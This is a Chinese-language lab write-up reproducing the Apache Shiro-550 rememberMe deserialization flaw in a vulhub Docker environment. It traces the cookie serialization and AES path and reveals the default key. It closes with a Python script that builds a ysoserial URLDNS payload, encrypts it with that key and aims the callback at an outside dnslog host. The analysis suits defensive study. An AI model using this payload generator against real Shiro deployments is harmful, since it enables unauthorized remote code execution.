Shiro550漏洞复现分析

远程调试环境

本地搭建环境有点麻烦,索性就直接起docker,然后远程调试。进入vulnhub启动docker环境,使用exec命令进入容器

查看进程发现存在漏洞环境的jar包,docker cp 打包到本地使用jar -xvf XXX.jar解压jar包,解压完成的目录结构

将shirodemo-1.0-SNAPSHOT.jar包添加到libraries

再将BOOT-INF添加到Modules中

紧接着修改下dockerfile,如下

1
2
3
4
5
6
7
8
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "8080:8080"
- "5050:5050"
command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050 -jar /shirodemo-1.0-SNAPSHOT.jar

重新启动docker环境,配置idea的remote选项

在登陆处下断点,看是否能够成功

可以成功调试。可以进入下个环节了。

漏洞复现

漏洞复现的话,github上挺多工具的,下一个利用工具利用下

漏洞分析

在分析这个漏洞之前,在日常的挖洞中偶尔碰到过几次,了解过相关的漏洞原理。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

Payload产生的过程:

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

不过只是知道原理,对其中的利用过程没有了解过,所以也是写这篇笔记的原因。

URLDNS链

漏洞触发点在CookieRememberMeManager,双击shift查看代码,在CookieRememberMeManager这个类中存在一个rememberSerializedIdentity方法

进行base64编码,最后将base64编码字符串作为cookie的值。在下面的代码中发现了getRememberedSerializedIdentity方法,会去读取相关的信息。CookieRememberMeManager类继承了AbstractRememberMeManager,在AbstractRememberMeManager中可以找到调用rememberSerializedIdentity的方法。在rememberIdentity方法中调用

看哪个地方调用了rememberIdentity。在onSuccessfulLogin中调用了这个方法,onSuccessfulLogin这个方法能够获取输入的用户名等信息,可以在这下断点步步跟进看是如何正常生成rememberMe的Cookie信息的.

传入之后进入到onSuccessfulLogin方法中,先调用了forgetIdentity清除相关的认证信息。

进入if判断,需要满足的条件有

Token不为null,token的类型为RememberMeAuthenticationToken。进入rememberIdentity方法可以通过getIdentityToRemember获取到我们传入的参数信息

然后再调用rememberIdentity

调用convertPrincipalsToBytes,在这个方法中会进行序列化操作并将序列化后的值赋值给byte数组

在defaultserialize下的serialize方法中完成序列化操作

回到convertPrincipalsToBytes之后开始对序列化后的byte数组进行加密操作,获取加密服务为AES-CBC加密模式,可以想到CBC加密需要有key值。

继续向下就进入加密函数encrypt中,需要注意的一点为getEncryptionCipherKey(),这个就是获取加密时候需要的key值的方法,跟进之后即可查找到默认的key值

最后把加密好的编码赋值给value之后回到rememberIdentity接着调用rememberSerializedIdentity,在rememberSerializedIdentity中在进行一次base64编码操作。

接下来将base64编码后的参数设置为cookie,这个流程就是上面所说的调用过程。

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

刚刚在上面提到的getRememberedSerializedIdentity和rememberSerializedIdentity,所以在AbstractRememberMeManager中肯定也存在反序列化的操作。

可以尝试去寻找下反序列化时候的利用链。首先肯定是从getRememberedSerializedIdentity来作为入手点,在AbstractRememberMeManager中getRememberedPrincipals调用了getRememberedSerializedIdentity

接着看里面的代码调用getRememberedSerializedIdentity读取subjectContext中的内容,此时跟进getRememberedSerializedIdentity进入CookieRememberMeManager类中的getRememberedSerializedIdentity方法中,获取我们传入的base64的编码,也就是构造好的rememberMe的值。

然后返回getRememberedPrincipals方法中调用convertBytesToPrincipals对base64解码后的参数进行解密的操作,解密操作完成后进行反序列化

反序列化的过程应该是这样。找个脚本生成rememberMe尝试下看是否是按照这个链进行的。

URLDNS链可以直接使用ysoserial.jar这个工具生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
popen = subprocess.Popen(['java','-jar','ysoserial-master-8eb5cbfbf6-1.jar','URLDNS', command],stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key ="kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ =='__main__':
payload = rememberme('http://00ef4d9e.dnslog.xvnming.org.cn')
with open("./ser.bin","w") as fpw:
print("rememberMe={}".format(payload.decode()))
res ="rememberMe={}".format(payload.decode())
fpw.write(res)

参考链接

https://www.bilibili.com/video/BV1iF411b7bD?spm_id_from=333.999.0.0

https://ares-x.com/2020/04/20/IDEA%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95Docker%E4%B8%AD%E7%A8%8B%E5%BA%8F%E7%9A%84%E6%96%B9%E6%B3%95/